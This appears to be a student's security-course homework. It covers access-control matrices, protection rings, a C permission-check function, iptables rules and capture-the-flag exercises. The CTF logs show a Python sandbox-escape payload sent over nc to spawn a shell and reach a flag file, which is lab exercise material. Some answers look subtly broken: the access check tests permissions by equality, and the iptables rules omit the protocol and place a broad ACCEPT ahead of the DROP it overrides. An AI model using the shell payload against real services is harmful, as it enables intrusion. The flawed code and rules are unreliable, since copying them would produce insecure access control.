

Hanna Rakhsha h\_r77  
 CS 4371 – Gu  
 Homework 2

1(a)

	file A	file B	file C
Alice	orwx	-r--	----
Bob	-r--	orwx	----
Cyndy	-r--	-rw-	orwx

- (b) file A: {(Alice, orwx), (Bob, -r--), (Cyndy, -r--)}  
 file B: {(Alice, -r--), (Bob, orwx), (Cyndy, -rw-)}  
 file C: {(Cyndy, orwx)}  
 Alice: {(file A, orwx), (file B, -r--)}  
 Bob: {(file A, -r--), (file B, orwx)}  
 Cyndy: {(file A, -r--), (file B, -rw-), (file C, orwx)}

(c)

	file A	file B	file C
Alice	orwx	-r--	-r--
Bob	----	orwx	----
Cyndy	-r--	-rw-	orwx

2(a)

	file X	file Y	file Z
Alice	rw-	r--	--x
Bob	r--	rw-	---

- (b) file X: {(Alice, -rw-), (Bob, -r--)}  
 file Y: {(Alice, -r--), (Bob, -rw-)}  
 file Z: {(Alice, ---x)}  
 Alice: {(file X, -rw-), (file Y, -r--), (file Z, ---x)}  
 Bob: {(file X, -r--), (file Y, -rw-)}

3. r stands for rings

- (a) p must execute where  $r < 5$   
 (b) p must execute  $6 < r < 9$   
 (c) p must execute  $9 < r$   
 (d) p must execute  $5 < r < 6$

4. r stands for rings

- (a) p must execute  $r \leq 5$   
 (b) p must execute  $5 < r < 6$   
 (c) p must execute  $6 < r$

5.

```
int accesscheck(unsigned int uid, unsigned int gid, unsigned int p, int f)
{
    Permission access = getPermission(f); //get permission of file
    int granted = 0;                      //return for access granted/denied

    if (access.uid == uid)                //check if request is from owner
    {
        if(access.u == p)                //check if requests are granted
            granted = 1;                  //requests are granted
        else
            granted = 0;                  //requests are denied
    }
    else if (access.gid == gid)           //check if request is from group
    {
        if(access.g == p)                //check if requests are granted
            granted = 1;                  //requests are granted
        else
            granted = 0;                  //requests are denied
    }
    else
    {
        if(access.o == p)                //check if requests are granted
            granted = 1;                  //requests are granted
        else
            granted = 0;                  //requests are denied
    }
    return granted;
}
```

6.

```
iptables -A INPUT -s 172.90.0.0/16 --dport 8888 -j ACCEPT
iptables -A INPUT -s 172.90.255.0/24 --dport 8888 -j DROP
```

7.

Hacker Level - 40

Coding - Solved

8(a)

The Great Escape - 40

Exploit - Solved

Exploitation Station - 60

Exploit - Unsolved

Solve

Hint

(b)

```
hanna — nc 127.0.0.1 17777 — 80x24
[Hannas-MacBook-Pro:~ hanna$ nc 127.0.0.1 17777
__import__('os').execl('/bin/sh','sh')
whoami
taps
ls
flag.txt
cp flag.txt mine.txt
cp: cannot create regular file 'mine.txt': Permission denied
ls -l
total 4
----r----- 1 nobody rewards 18 Sep  6 2017 flag.txt
```

(c) Since I have the read permission, even though I am not the owner of my shell directory I can still be shown the directory's contents.

(d)

```
hanna — -bash — 80x26
[Hannas-MacBook-Pro:~ hanna$ nc 127.0.0.1 17777
__import__('os').execl('/bin/sh','sh')
ls
flag.txt
pwd
/ctf/commas/flags
cd
ls
ls: cannot open directory .: Permission denied
cd /ctf
ls
ls: cannot open directory .: Permission denied
cd /ctf/commas
ls
ls: cannot open directory .: Permission denied
cd /ctf/commas/flags
ls
flag.txt
cd
pwd
/ctf/commas/home
cd /ctf/commas/home
ls
ls: cannot open directory .: Permission denied
exit
Hannas-MacBook-Pro:~ hanna$
```